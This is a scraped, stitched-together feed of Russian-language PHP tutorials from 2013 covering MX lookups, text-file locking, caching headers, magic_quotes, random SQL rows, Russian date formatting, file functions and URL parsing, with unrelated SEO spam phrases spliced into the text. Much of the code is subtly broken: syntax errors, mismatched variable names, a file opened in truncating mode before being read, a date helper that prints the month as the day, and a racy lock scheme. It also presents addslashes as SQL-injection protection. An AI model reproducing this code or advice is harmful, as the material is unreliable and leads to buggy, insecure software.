?>]]> Sat, 27 Apr 2013 18:57:03 +0300 PHP и DNS. Проверка почтового адреса
string getmxrr(string hostname, array mxhost, [, array weight])

Эта функция принимает в качестве аргумента имя хоста
hostname
в данном домене и заполняет массив
mxhost
списком почтовых ретрансляторов этого домена. Если указан третий необязательный аргумент weight ,
то функция заполняет его значениями предпочтения, которые возвращает ей почтовый ретранслятор

Обычно когда требуется послать сообщения по адресу username@someserver.com,
необходимо сначала узнать хост почтового ретранслятора для домена someserver.com, а затем получить его ip-адрес.
После этого можно соединяться с хостом для доставки почты.
В домене может быть несколько почтовых ретрансляторов с разными значениями предпочтения, поэтому,
получив список ретрансляторов, имеет смысл устанавливать соединение с тем из них, который имеет максимальное значение предпочтения.

В следующем листинге показан пример кода, с помощью которого можно получить список почтовых ретрансляторов:

Получение списка почтовых ретрансляторов

<?
$domain = "server.com";
getmxrr($domain, $maillist, $priority);
echo("Список почтовых ретрансляторов хоста $domain: <br>n");
for($i = 0; $i < count($maillist), ++$i)
{
echo("$maillist[$i] = $priority[$i] <br>n");
}
?>

Проверка существования адреса электронной почты

Заметим сразу, что речь идет не о проверке адресов с помощью регулярного выражения,
а о проверке существования хоста почтового ретранслятора для некоторого домена.
Т.е. приведенный выше код можно практически не перерабатывая приспособить для проверки существования e-mail адреса:

<?
$email_arr = explode("@" , $email);
$host = $email_arr[1];

if (!getmxrr($host, $mxhostsarr))
{
echo "На адрес $email отправка почты невозможна";
exit;
}

getmxrr($host, $mxhostsarr, $weight);
echo "На $email письма могут отправляться через следующие хосты:<br>";
for ($i=0; $i < count($mxhostsarr); $i++)
{
echo ("$mxhostsarr[$i] = $weight[$i]<br>");
}

?> растаможка]]> Sat, 27 Apr 2013 18:56:42 +0300 Php блокировка Есть база данных, используемая на сайте (например, база для регистрации пользователей, куда записывается их имя и email), она лежит в текстовом файле построчно (в дальнейшем, "file_base.dat".). Два пользователя активизируют сервер через командную строку в броузере, для ввода свох имен и email. Сервер отсылает их к скрипту. Оба пользователя "начинают движение" по скриптовому потоку (тексту php файла) сверху вниз, причем, Первый "бежит" на долю секунды быстрее Второго. Когда они достигают того места, где скрипт исполняет их запрос, движение по потоку останавливается, в их броузер выводится сгенерированная скриптом страница в виде html. Чтобы из file_base.dat прочитать данные, этот файл надо открыть на чтение (функция - @file), чтобы записать что-то в него, надо открыть на запись (функция - @fopen). В скрипте это выглядит так:

< ?
……
// читаем данные из файла-базы
$f = @file ("file_base.dat", "r"); // здесь находится 2 пользователь
// здесь идет текст скрипта
// открываем файл-базу на запись
$fp = @fopen ("file_base.dat", "w"); // здесь находится 1 пользователь
// записываем в файл-базу данные из выше
// прочитанного file_base.dat - переменная $f
// и добавляем еще одну строку с данными нового пользователя
// закрываем файл-базу
@fclose ($fp);
……
? >

То есть, чтобы новый пользователь появился в нашей file_base.dat, мы считываем оттуда информацию, которую кладем в переменную $f, затем записываем в этот же файл эту переменную $f (при этом, file_base.dat переписываем полностью) и внизу дописываем еще одну строку с данными нашего нового пользователя. Мы видим, что на чтение и на запись file_base.dat открывается в разных местах нашего скрипта. Если оба пользователя, одновременно, достигли "своего" места в этом скрипте, но один из file_base.dat только начал читать данные, а другой уже их прочитал, продвинулся чуть ниже и, в этот момент, находится на отметке записи в файл file_base.dat своих данных. То, в этом случае, от нашего файла file_base.dat ничего не останется. В связи с этим, в php была введена функция совместного доступа @flock, которая призвана не допускать совместный доступ к файлу на чтение и запись.

< ?
……
// читаем данные из файла файла-базы
$f = @file ("file_base.dat", "r"); // здесь находится 2 пользователь
// здесь идет текст скрипта
// открываем файл-базу на запись
$fp = @fopen ("file_base.dat", "w"); // здесь находится 1 пользователь
// блокируем файл-базу на чтение
@flock ($fp, lock_ex)
// записываем в файл-базу данные из выше
// прочитанного file_base.dat - переменная $f
// и добавляем еще одну строку с данными нового пользователя
// снимаем блокировку
@flock ($fp, lock_un)
// закрываем файл-базу
@fclose ($fp);
……
? >

Теперь, вроде бы все нормально, файл блокируется на чтение, когда в него что-то пишут. Но, что произойдет в нашем случае, когда, 1 пользователь прочитал данные файла и пришел к отметке открытия file_base.dat на запись, оркыл его и заблокировал на чтение функцией @flock, а 2 пользователь, именно в этот момент пришел к точке, где данные из файла считываются функцией @file? 2 пользователь ничего не прочитает из этого файла, потому что file_base.dat блокирован 1 пользователем командой @flock на чтение. 2 пользователь просто "пробежит" дальше по потоку скрипта ничего из файла file_base.dat не прочитав, то есть наша переменная $f будет пустой. Но, дальше-то он будет записывать в этот файл, то что ранее с него считал. В итоге, в наш file_base.dat запишется только одна строка с его именем и email. То есть, file_base.dat будет потерян.
В связи с чем, была придумана функция: read_file

function read_file($path)
{
if(!is_file($path)) {return false; }
elseif(!filesize($path)) {return array(); }
elseif($array=file($path)) {return $array; }
else { while(!$array=file($path)){sleep(1);} return $array; }
}

Суть ее такова: пока файл блокирован на чтение, пользователь, который хочет считать из него информацию, находится в цикле, то есть, как бы "стоит" на месте, не "бежит" дальше по тексту скрипта, ожидая, когда файл разблокируется на чтение. В итоге наш скрипт принимает такой вид:

< ?
function read_file($path)
{
if(!is_file($path)) {return false; }
elseif(!filesize($path)) {return array(); }
elseif($array=file($path)) {return $array; }
else { while(!$array=file($path)){sleep(1);} return $array; }
}
……
// проверяем заблокирован ли файл на чтение,
// если заблокирован, назначаем цикл с остановкой,
// пока блокировка не будет снята, после снятия блокировки,
// читаем данные из файла файла-базы
$f = read_file ("file_base.dat", "r"); // здесь находится 2 пользователь
// здесь идет текст скрипта
// открываем файл-базу на запись
$fp = @fopen ("file_base.dat", "w"); // здесь находится 1 пользователь
// блокируем файл-базу на чтение
@flock ($fp, lock_ex)
// записываем в файл-базу данные из выше
// прочитанного file_base.dat - переменная $f
// и добавляем еще одну строку с данными нового пользователя
// снимаем блокировку
@flock ($fp, lock_un)
// закрываем файл-базу
@fclose ($fp);
……
? >

Вроде бы все нормально. Когда 1 пользователь начал записывать свои данные в file_base.dat, 2 "спит" одну секунду, ожидая разблокировки file_base.dat, когда file_base.dat разблокирован, он считывает из него информацию и начинает движение дальше. Но, есть одно "но". Если 2 пользователь чуть быстрее 1 пользователя "добежал" до "своего" места, прочитал половину данных из нашего file_base.dat, который еще не был блокирован, и, именно, в этот момент, 1 "добежал" по тексту скрипта до @flock ($fp, lock_ex), то есть заблокировал наш файл, то переменная $fp будет иметь только половину данных из нашего file_base.dat, потому что, именно, в этот момент file_base.dat был заблокирован. В итоге, в наш file_base.dat будет записана половина информации из нашей базы + одна сторка нового пользователя. То есть, опять, file_base.dat мы потеряли.

Суть подхода, который предлагаем мы для решения этой проблемы такой:
Во время считывания из файла или записи в него данных, на сайте появляется текстовая строка с названием этого файла, когда из файла информация прочиталась или записалась, эта текстовая строка удаляется. Пока она есть, значит кто-то уже использует базу данных на чтение или запись, пользователь, который хочет обратиться к этой базе на чтение или запись, находится в цикле, ожидая пока текстовая строка исчезнет. Как только она исчезает, он читает или пишет в базу данных, сам при этом создавая такую же текстовую строку, тем самым препятствуя доступу двух и более пользователей к базе.

Для чего, на сайте создадим папку для хранения текстовых строк. Например, lock. Наш файл на сайте лежит в папке database, значит в папке lock надо создать папку database. Теперь, когда пользователь обращается к file_base.dat, для чтения или записи в него, абсолютный путь http://наш_сайт.ru/database/file_base.dat, в папке http://наш_сайт.ru/lock/database/ появляется файл-строка file_base.dat.tmp, абсолютный путь - http://наш_сайт.ru/lock/database/file_base.dat.tmp, закрывая доступ к file_base.dat, как только пользователь считал или записал информацию в наш файл-базу, текстовая строка file_base.dat.tmp удаляется, открывая доступ другим пользователям к file_base.dat.

< ?
// объявляем директорию для временных файлов
$lock_dir = "lock";
// функция для создания временных текстовых файлов
function touchstring($file) {
global $lock_dir;
$tmp = "$lock_dir/".$file.".tmp";
while(1) {
if (is_file($tmp))
{
while(file_exists($tmp))
{
$file_exist++;
if($file_exist > 10){break;}
clearstatcache();
sleep(1);
}
}
return touch($tmp);
}
}
// функция удаляющая временные текстовые файлы
function delstring($file) {
global $lock_dir;
$tmp = "$lock_dir/".$file.".tmp";
return unlink($tmp);
}
// альтернатива функци @file
function filearray($file) {
if (!is_readable($file)) return false;
touchstring($file);
$bufer = file($file);
delstring($file);
return $bufer;
}
// альтернатива функци @fopen
function openfile($file, $mode) {
touchstring($file);
return fopen($file, $mode);
}
// альтернатива функци @fclose
function closefile($fido, $file) {
$sito = fclose($fido);
delstring($file);
return $sito;
}
……
// проверяем есть ли временный файл, запрещающий
// чтение и запись в файл-базу, если он есть, останавливаем
// пользователя в цикле, где он ожидает пока временный файл
// исчезнет, как толко он исчезает, сами создаем такой же временный
// файл, запрещая доступ к файлу-базе, только после этого читаем данные из
// файла-базы, удаляем временный файл, открывая доступ к базе
// другим пользователям
$f = filearray ("database/file_base.dat"); // здесь находится 2 пользователь
// здесь идет текст скрипта
// проверяем есть ли временный файл, запрещающий
// чтение и запись в файл-базу, если он есть, останавливаем
// пользователя в цикле, где он ожидает пока временный файл
// исчезнет, как толко он исчезает, сами создаем такой же временный
// файл, запрещая доступ к файлу-базе, только после этого открываем
// файл-базу на запись, временный файл не удаляется, закрывая доступ к базе
// другим пользователям
$fp = openfile ("database/file_base.dat", "w"); // здесь находится 1 пользователь
// записываем в файл-базу данные из выше
// прочитанного database/file_base.dat - переменная $f
// и добавляем еще одну строку с данными нового пользователя
// закрываем файл-базу, удаляем временный файл, открывая доступ к базе
// другим пользователям
closefile ($fp, "database/file_base.dat");
// обратите внимание, что в closefile два аргумента: $fp и
// database/file_base.dat
……
? >

В этой ситуации мы видим, что когда один пользователь достиг точки считывания с file_base.dat или, наоборот, другой пытается записать в file_base.dat информацию, нам ничего не страшно. Потому что, как в одном, так и в другом случае, появился маленький текстовый файл file_base.dat.tmp, который не дает ни одному ни другому совместно читать или писать в file_base.dat.

В нашем варианте есть одна "дыра", если вдруг пользователь обратился к базе данных, создав текстовую строку блокировки, незакончил как-бы цикл (свет погас и компьютер выключился), и эта текстовая блокирующая строка осталась лежать в папке lock, то наша программа "подвиснет", не давая никому пройти, из-за этого оставшегося флага.
Мы не стали усложнять функции проверкой на удаление этого файла-флага, а, просто ввели в функции его создающей, предел "подвисания" компьютера 10 секунд ($file_exist++; if($file_exist > 10){break;}), через 10 секунд он автоматически выйдет из цикла и сотрет временный файл. В этом кроется опасность, но она ничтожна мала по сравнению с теми, которые были описаны выше. Считаем, что подход описанный выше, защитит от обвала базы данных, которая лежит в текстовом файле и не будет особо заметно флагов блокировки, когда на сайте ее, одновременно использует до 10 человек. Мы знаем, что наш скрипт сервером исполняется 0,5 сек, в этом случае его пропускная способность в час составит до 1800 человек. Уменьшим ее вдвое, 900 человек, за сутки 21600 человек. Согласитесь, и без mysql можно обойтись.

Для проверки работоспособности этих функций запишите вручную в папку lock этот самый блокирующий файл file_base.dat.tmp, в нашем случае, это: http://наш_сайт.ru/lock/database/file_base.dat.tmp, тем самым, блокируя доступ к базе http://наш_сайт.ru/database/file_base.dat, запустите программу, обратитесь к базе, вы увидите, что флаг работает и броузер "стоит" на месте, удалите file_base.dat.tmp файл (разблокируя) и подвисание закончится.

Теперь у нас есть функции:
1. filearray , заменяющая @file
2. openfile , заменяющая @fopen
3. closefile , заменяющая @fclose]]> Sat, 27 Apr 2013 18:56:21 +0300 Заголовок If-Modified-Since, если PHP не установлен как моду
Основная проблема при реализации кеширования на стороне клиента заключается в том, чтобы получить содержимое заголовка «If-Modified-Since». Вызвана она тем, что по умолчанию указанный заголовок доступен из серверного приложения только в том случае, если интерпретатор PHP установлен в качестве модуля Apache, что бывает крайне редко на серверах организаций, предлагающих услуги хостинга (по соображениям безопасности и удобства перекомпиляции PHP). Следует заметить, что кеширование на стороне клиента благотворно влияет не только на нагрузку веб-сервера, но и на скорость индексации веб-сайта поисковыми машинами. В связи с этим, опытные SEO-специалисты упорно ищут и рекомендуют «правильные» хостинговые компании.

На самом деле, существует универсальное решение данной проблемы, не требующее вмешательства в глобальную конфигурацию веб-сервера и работающее даже в том случае, когда PHP не установлен в качестве модуля Apache. Для применения данного метода необходимо и достаточно, чтобы выполнялись следующие условия:

* возможность конфигурации через файлы .htaccess;
* доступность и возможность использования модуля mod_rewrite;
* в серверном приложении к заголовкам «If-Modified-Since» и «If-None-Match» необходимо обращаться через массив $_SERVER, а не при помощи функций getallheaders или apache_request_headers (эти функции доступны только в том случае, если PHP установлен в качестве модуля Apache).

Итак, для реализации доступа к заголовкам «If-Modified-Since» и «If-None-Match» необходимо в корневом каталоге веб-сайта поместить файл .htaccess следующего содержания:

RewriteEngine On
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]

После этого, необходимые заголовки будут доступны как $_SERVER['HTTP_IF_MODIFIED_SINCE'] и $_SERVER['HTTP_IF_NONE_MATCH']. В случае если на веб-сайте mod_rewrite используется для формирования «красивых» URL, содержимое .htaccess примет вид:

# url rewriting
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php [QSA]

# If-Modified-Since (if php is not installed as cgi then comment lines below)
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]

Следует заметить, что заголовки «If-Modified-Since» и «If-None-Match» не отправляются браузером, если в предыдущих запросах к данной странице он не получал в ответе веб-сервера заголовок Last-Modified. Кроме того, при использовании в веб-приложении сессий с установками по умолчанию, указанные заголовки также не будут присылаться браузером. Для того чтобы избежать такого поведения браузера, необходимо перед запуском сессии выполнять функцию session_cache_limiter, передавая в качестве аргумента параметр 'private_no_expire':

<?php

session_cache_limiter('private_no_expire');
session_start();

?> Хостинг оптимизация сайта иркутск. . Материалы Картриджи, главная магазины иркутска расходники. . обслуживание бассейнов москва . Российский горящие туры тайланд из иркутска.]]> Sat, 27 Apr 2013 18:55:53 +0300 Как бороться с magic_quotes_gpc
Параметр magic_quotes_gpc влияет на то, как будут обрабатываться специальные символы, содержащиеся в данных, передаваемых пользователем (массивы $_GET, $_POST, $_COOKIE). При magic_quotes_gpc = 1 эти спецсимволы [одиночные (') и двойные кавычки ("), обратный слеш (\), байт NULL] автоматически экранируются интерпретатором PHP (перед каждым таким символом добавляется обратный слеш). При magic_quotes_gpc = 0 все данные передаются в таком виде, в каком их ввел пользователь. В последнем случае в целях безопасности требуется обрабатывать передаваемые данные (в противном случае возможна атака SQL-injection) непосредственно в коде приложения. Для этого в PHP существует функция addslashes (выдержка из документации):

$str = "Is your name O'reilly?";

# выводит: Is your name O\'reilly?
echo addslashes($str);

Все, вроде бы, просто. Использование в коде приложения функции addslashes в случае, если заведомо известно, что директива magic_quotes_gpc равна 0, вполне обосновано. Но что если администратор хостинга решит установить ее значение в единицу? Будет происходить двойное экранирование спецсимволов! Поэтому, функцию addslashes необходимо применять только в том случае, когда magic_quotes_gpc = 0. Получить текущее значение данного конфигурационного параметра можно при помощи стандартной функции get_magic_quotes_gpc. Таким образом, более универсальный код будет иметь следующий вид:

$str = "Is your name O'reilly?";
$str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str;

# выводит при любых настройках PHP: Is your name O\'reilly?
echo $str;

Если писать каждый раз такую конструкцию, то код разрабатываемого веб-приложения становится достаточно громоздким. Гораздо эффективней использовать в начале каждого файла PHP универсальный код, осуществляющий при необходимости описанную выше обработку. Он будет иметь следующий вид:

function addslashes_for_array(&$arr)
{
foreach($arr as $k=>$v)
{
if (is_array($v))
{
addslashes_for_array($v);
$arr[$k] = $v;
}
else
{
$arr[$k] = addslashes($v);
}
}
}

function fix_magic_quotes_gpc()
{
if (!get_magic_quotes_gpc())
{
addslashes_for_array($_POST);
addslashes_for_array($_GET);
addslashes_for_array($_COOKIE);
}
}

# экранирует при необходииости строки в $_GET, $_POST, $_COOKIE
fix_magic_quotes_gpc();

Следует заметить, что описанный код учитывает также тот факт, что в переменных $_GET, $_POST, $_COOKIE могут передаваться не только строки, но и многомерные массивы строк.

P.S. В ходе проведенного недавно нашей компанией исследования некоторых веб-сайтов выяснилось, что многие достаточно известные веб-разработчики не учитывают параметр magic_quotes_gpc. А жаль...]]> Sat, 27 Apr 2013 18:55:28 +0300 Выбор из БД в случайном порядке на PHP
Вот таким обраом я сделал свой первый скрипт, который печатал на странице случайный афоризм:

.... // database connection code
$query = "select * from quotes";
$result = mysql_query($query);
$randval = rand(0, mysql_num_rows($result) - 1);

$quotetext = mysql_result($result, $randval, 1);
$quoteauthor = mysql_result($result, $randval, 2);

print "$quotetext<br>$quoteauthor";

Что делает этот код ? Сначала мы формируем sql запрос, который вытаскивает все записи из таблицы quotes. Затем мы генерируем случайное число, которое не превышает количества записей, полученных из базы данных. С помощью функции mysql_result() мы получаем случайную запись, то есть мы используем случайное значение, как номер ряда в возвращаемом наборе. Третий аргумент этой функции - это номер колонки, то есть поле записи, в котором хранится то, что надо выдать.
Итак, недостатки этого кода очевидны:
1.) Перед тем, как использовать генератор случайных чисел, нам нужно где-то выше в программе предварительно инициализировать этот генератор. Кстати это делает функция srand().
2.) Придется все время хранить в уме номер колонки в которой хранится нужная информация. А если вдруг количество колонок в таблице изменится, нам придется изменять такой код.

Теперь давайте рассмотрим другой код, который делает тоже самое, но уже более удобным способом.

$query = "select * from quotes order by rand() limit 1";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
print($row['text'] . '<br>' . $row['author']);

В этом примере случайные значения генерирует сам сервер базы данных и возвращает каждый раз разные строки. Немного изменив код, можно выводить всю таблицу в случайном порядке:

$query = "select * from quotes order by rand()";
$result = mysql_query($query);
while($row = mysql_fetch_array($result)){
print($row['text'] . '<br>' . $row['author'] . '<hr>');
}

Разве этот вариант не лучше ?
Я думаю, что лучше !]]> Sat, 27 Apr 2013 18:55:10 +0300 Дата на русском языке
Тот самый скрипт:

//-- определяем массив для месяцев --
$q[]="";
$q[]="января";
$q[]="февраля";
$q[]="марта";
$q[]="апреля";
$q[]="мая";
$q[]="июня";
$q[]="июля";
$q[]="августа";
$q[]="сентября";
$q[]="октября";
$q[]="ноября";
$q[]="декабря";
//-- определяем массив для дней недели --
$e[0]="воскресенье";
$e[1]="понедельник";
$e[2]="вторник";
$e[3]="среда";
$e[4]="четверг";
$e[5]="пятница";
$e[6]="суббота";
// ---- считываем месяц
$m=date('m');
if ($m=="01") $m=1;
if ($m=="02") $m=2;
if ($m=="03") $m=3;
if ($m=="04") $m=4;
if ($m=="05") $m=5;
if ($m=="06") $m=6;
if ($m=="07") $m=7;
if ($m=="08") $m=8;
if ($m=="09") $m=9;
// ---- считываем день недели
$we=date('w');
// ---- считываем число
$chislo=date('d');
// - извлекаем из день недели
$den_nedeli = $e[$we];
// - извлекаем значение месяца
$mesyac = $q[$m];
echo "Сегодня ".$chislo." ".$mesyac.", ".$den_nedeli;

Вот видите какой он большой, громоздкий. Я же решил избавиться от лишнего кода и написать функцию вывода даты на русском языке

Для этого я убрал многочисленные сравнения и ввод данных в массив. В результате у меня вот что получилось:

function gws_daterus() {
//-- определяем массив для месяцев --
$mounth=array(
"01" => "января", "02" => "февраля", "03" => "марта",
"04" => "апреля", "05" => "мая", "06" => "июня",
"07" => "июля", "08" => "августа", "09" => "сентября",
"10" => "октября", "11" => "ноября", "12" => "декабря"
);

//-- определяем массив для дней недели --
$week=array(
воскресенье, понедельник, вторник, среда,
четверг, пятница, суббота,
);
$date_m=strtr(date('m'), $mounth);
$date_w=$week[date('w')];
$date_d=date('m');
return $date_d." ".$date_m.", ".$date_w;
}

По-моему, мой вариант более красивый. На скорость выполнения я не проверял,
но думаю скорость выполнения скрипта должна увеличиться

Прокат авто львов аренда автомобилей сравнение автомобилей.]]> Sat, 27 Apr 2013 18:54:46 +0300 PHP поддерживает реализацию механизма отправки заголовков HTTP.
В соответствии со спецификацией http, этот протокол поддерживает передачу служебной информации от сервера к броузеру, оформленной в виде специальных заголовков.

Таким образом, http headers - это средство общения сервера с удаленным клиентом. Каждый заголовок обычно состоит из одиночной линии ascii текста с именем и значением. Сами заголовки никак не отображаются в окне броузера, но зачастую могут сильно изменить отображение сопутствующего документа.

Механизм отправки http заголовков в php.
Механизм отправки заголовков в php представлен функцией header(). Особенность протокола http заключается в том, что заголовок должен быть отправлен до посылки других данных, поэтому функция должна быть вызвана в самом начале документа и должна выглядеть следующим образом:

header("http заголовок", необязательный параметр replace);

Опциональный параметр replace может принимать значения типа bool (true или false) и указывает на то, должен ли быть замещен предыдущий заголовок подобного типа, либо добавить данный заголовок к уже существующему.

В отношении функции header() часто применяется функция headers_sent(), которая в качестве результата возвращает true в случае успешной отправки заголовка и false в обратном случае.

Рассмотрим наиболее используемые http заголовки.

cache-control.
"cache-control: " значение

Заголовок управления кешированием страниц. Вообще, данная функция является одной из самых распространенных в использовании заголовков.

Данный заголовок может быть использован со следующими значениями:

no-cashe - Запрет кеширования. Используется в часто обновляемых страницах и страницах с динамическим содержанием. Его дейсвтие подобно meta тегу "pragma: no-cache".
public - Разрешение кеширования страницы как локальным клиентом, так и прокси-сервером.
private - Разрешение кеширования только локальным клиентом.
max-age - Разрешение использования кешированного документа в течение заданного времени в секундах.
header("cache-control: private, max-age = 3600") /* Кеширование локальными клиентами и использование в течение 1 часа */

expires.
"expires: " http-date

Устанавливает дату и время, после которого документ считается устаревшим. Дата должна указываться в следующем формате (на английском языке):

День недели (сокр.) число (2 цифры) Месяц (сокр.) год часы:минуты:секунды gmt

Например, fri, 09 jan 2002 12:00:00 gmt

Текущее время в этом формате возвращает функция gmdate() в следующем виде:

echo gmdate("d, d m y h:i:s")."gmt";

Возможно использование данного http заголовка для запрета кеширования. Для этого необходимо указать прошедшую дату.

last-modified.
"last-modified: " http-date

Указывает дату последнего изменения документа. Дата должна задаваться в том же формате, что и в случае с заголовком expires. Данный заголовок можно не использовать для динамических страниц, так как многие серверы (например, apache) для таких страниц сами выставляют дату модификации.

Возможно сделать страницу всегда обновленной:

header("last-modified: ".gmdate("d, d m y h:i:s")." gmt");

location.
"location :" абсолютный url

Полезный заголовок, который перенаправляет броузер на указанный адрес. Его действие сравнимо с meta тегом refresh:

<meta http-equiv="refresh" content="0; url=someurl">

Например, этот заголовок может быть использован так:

if ($login != $admin_login) header("location: http://www.server.com/login.php");
else header("location: http://www.server.com/admin.php?login=$login");

if (!headers_sent()) exit("Произошла ошибка! Пройдите <a href='http://www.server.com/login.php'>авторизацию</a> заново");

Мы разобрали конечно же не все http заголовки (на это нам несколько уроков не хватит), но рассмотрели наиболее полезные и самые используемые.]]> Sat, 27 Apr 2013 18:54:25 +0300 Работаем с файлами на PHP истине интерактивных веб приложений. Среди наиболее популярных стоит отметить asp, perl и php. Эти средства прочно вошли в жизнь веб-разработчика. На данный моментсамым быстро развивающимся является язык php. Поэтому рассмотрим его возможности более подробно.

php является внедряемым языком сценариев. Многое из его синтаксиса
заимствовано из c, java и perl с некоторыми, заложенными в него, уникальными
особенностями. Цель языка состоит в том, чтобы позволить веб-разработчикам быстро создавать динамически генерируемые страницы.

Развитие Сети диктует свои требования по предоставлению пользователю
интересующей его информации. Сайт - это не только набор веб-страничек. Это еще и средство для хранения информации, организации обработки запросов пользователя и создания адекватного ответа на пользовательский запрос.

Хранить информацию на сервере можно несколькими способами. Первый – с
использованием баз данных. Очень удобный способ хранения больших объемов
информации, когда необходимо организовывать выборки, сортировать информацию по различным параметрам и т. д. Если же необходимо обработать небольшой объем
информации, да еще и без каких–то ухищрений (например, организовать учет
посещений), то подойдет второй способ – размещение информации в файлах.

php предоставляет очень большой набор средств по работе с файлами и файловой
системой. Рассмотрим подробнее некоторые функции для работы с файлами.

Естественно, для начала работы с файлом его надо открыть. Для этого
предназначена функция fopen(). Эту функцию можно использовать для открытия любого файла в файловой системе сервера через http или ftp:

int fopen(string filename, string mode);

filename – имя открываемого файла, mode – указатель на режим открытия файла.
Он может принимать одно из следующих значений:

Значение Описание a Открыть файл только для дополнений. Данные дописываются в
конец файла. a+ Открыть файл для дополнения и чтения. Данные дописываются в конец файла. r Открыть файл только для чтения.

r+ Открыть файл для чтения и дополнения. Данные дописываются в начало файла. w
Открыть файл только для записи. Существующие данные будут утрачены. w+ Открыть файл для чтения и записи. Существующие данные будут утрачены.

При работе с двоичным файлом, необходимо указать флаг b. Однако, если между
двоичными и текстовыми файлами не делается различия (как в системе unix), то этот
флаг игнорируется.

При успешном выполнении функция fopen() возвращает дескриптор файла, который
представляет собой целое число. Этот дескриптор предназначен для ссылок на файл
при последующих вызовах функций работы с файлами. При неудаче возвращается false.
Пример:

$file_hendel = fopen("report", "a");if (!$file_hendle) { echo("Невозможно
открыть файл..."); }else { // функции работы с файлами; }

По завершении работы с файлом необходимо его закрыть:

int fclose(int fp)

В качестве аргумента, функция fclose() принимает дескриптор закрываемого
файла. В случае успеха возвращается true, в случае неудачи – false.

Просто так файлы открывать бессмысленно. С ними надо что–то делать. Первое,
что приходит на ум – вывести содержимое файла на экран. Эту операцию осуществляет
функция fpassthru():

int fpassthru (int fp);

Эта функция выполняет чтение с текущей позиции в открываемом файле и до его
конца, после чего она закрывает файл. В случае успеха возвращается true, в случае
неудачи – false.

Может не возникнуть необходимости выводить весь файл. Возможно, нам
понадобится прочесть только часть данных, для использования их на нашей странице. Для этой цели в Рhp есть несколько функций.

Для чтения заданного количества символов из открываемого файла, можно
воспользоваться функцией fread():

string fread(int fp, int length);

Функция читает строку длиной length символов из файла с дескриптором fp.
Пример:

$file_hendel=fopen("text.txt", "r"); if (!$file_hendle) { echo("Невозможно
открыть файл..."); } else { $text = fread($file_hendel, 5); //Считывается первые 5
символов fclose($file_hendel); }

Если конец файла достигнут раньше длины length, то возвращается весь
прочитанный текст.

Так же для чтения данных из файла применяются функции fgetc(), fgets() и
fgetss()

string fgets(int fp, int length); string fgetss(int fp, int length);

Функция fgetc() производит считывание одного символа.

Функция fgets() возвращает строку из (length–1) символов. Чтение завершается,
если будет достигнут символ перевода строки или конец файла.

Функция fgetss() идентична fgets(), но все теги html удаляются из строки, но
учитываются в длине строки length.

При ошибке эти функции возвращают false.

Также, для чтения содержимого файла можно использовать функцию file(),
возвращающую содержимое файла в виде массива. Каждая строка файла представляется в виде элемента массива:

array file(string filename);

Функция принимает в качестве аргумента не дескриптор файла, а строку с именем
файла.

Для записи в файл используются функции fputs() и fwtite().

int fputs(int fp, string string, [int length]); int fwrite(int fp, string
string, [int length]);

Если последний параметр не указан, то осуществляется запись всей строки.
Пример (учет посещений с занесением данных о дате посещения и ip посетителя в файл
и вывода на экран сообщения о номере посещения):

<?php

//Учет посещений // количество посетителей будем хранить в файле report
$date=date("d m y, h:i:s"); $ip=getenv("remote_addr"); // опредляем ip узла $host
= gethostbyaddr($ip); // определяем имя узла по его ip $str=( // формируем строку,
date – $date // для размещения ее в файле host – $host // учета ip – $ip
–––––––––––––––––––––"); $file_hendle = fopen("report", "a+"); //открываем файл
report для добавлений, fputs($file_hendle,$str); // записываем в него
подготовленную строку и fclose($file_hendle); // закрываем файл

// Определние и вывод порядкового номера посетителя // количество посетителей
будем хранить в файле visitors

// открываем файл visitors для перезаписи $file_hendle = fopen("visitors",
"w+"); $visitor_number = fread($file_hendle, filesize("visitors"));
$visitor_numbe++; // прибавляем еще одного посетителя, rewind($file_hendle);
fwrite($file_hendle,$visitor_numbe); // переписываем файл visitors и
fclose($file_hendle); // закрываем файл echo ("Поздравляем, вы $visitor_numbe
посетитель!");

?>

Существует также несколько функций для управления текущей позицией в файле.
Они облегчают свободное перемещение по файлу.

Функция rewind() устанавливает текущую позицию в начало файла, дескриптор
которого она принимает в качестве аргумента.

Может возникнуть необходимость определить текущее положение в файле. Для этой
цели служит функция ftell()

int ftell(int fp);

С помощью функции fseek() можно переместиться в заданную позицию.

int fseek(int fp, int offset [, int whence]);

Основными аргументами функции являются дескриптор файла и значение заданной
позиции от начала файла. Например, с помощь функции ftell() можно организовать
перемещение в заданную позицию:

fseek($fp, ftell($fp)+10); // переход на 10 позиций вперед от текущей

Но этого же эффекта в php4 можно добиться без использования функции ftell(),
так как в функции fseek() появился необязательный аргумент, который определяет
способ перемещения на заданную позицию: seek_set – отсчитывает значение от начала
файла (по умолчанию); seek_cur – отсчитывает значение от текущей позиции; seek_end
– прибавляет значение offset к концу файла.

Тот же пример в php4 примет вид:

fseek($fp, 10, seek_cur);

Часто возникают ситуации, когда надо проверить положение указателя
относительно конца файла. Для этого применяется функция feof(), которая возвращает
true, если достигнут конец файла и false, если конец файла не достигнут.

Возможности php по работе с файлами не ограничиваются приведенными здесь
функциями. С полным описанием функций для работы с файловой системой можно
ознакомится на официальном сайте php в разделе php: manual: filesystem functions.]]> Sat, 27 Apr 2013 18:53:58 +0300 PHP пример парсинга URL для «User Friendly URLs»
Итак. Для начала приведу код примера, а далее подробно разберем все встречающиеся в нем функции.

<?php
header("http/1.1 200 ok");
if(empty($_server['redirect_url'])) $p=array();
else
{ $url=$_server['redirect_url'];
if($url[0]=='/') $url=substr($url, 1);
if($url[strlen($url)-1]=='/') $url=substr($url, 0, -1);
$url=explode('/', $url);
$tmp=count($url)-1;
if($tmp>0)
{
$p=array(); $j=0;
for($i=0; $i<=$tmp; $i++)
{
if(!empty($url[$i]))
{
$p[$j]=$url[$i];
$j++;
}
}
}
else $p=array();
}
?>

php пример.
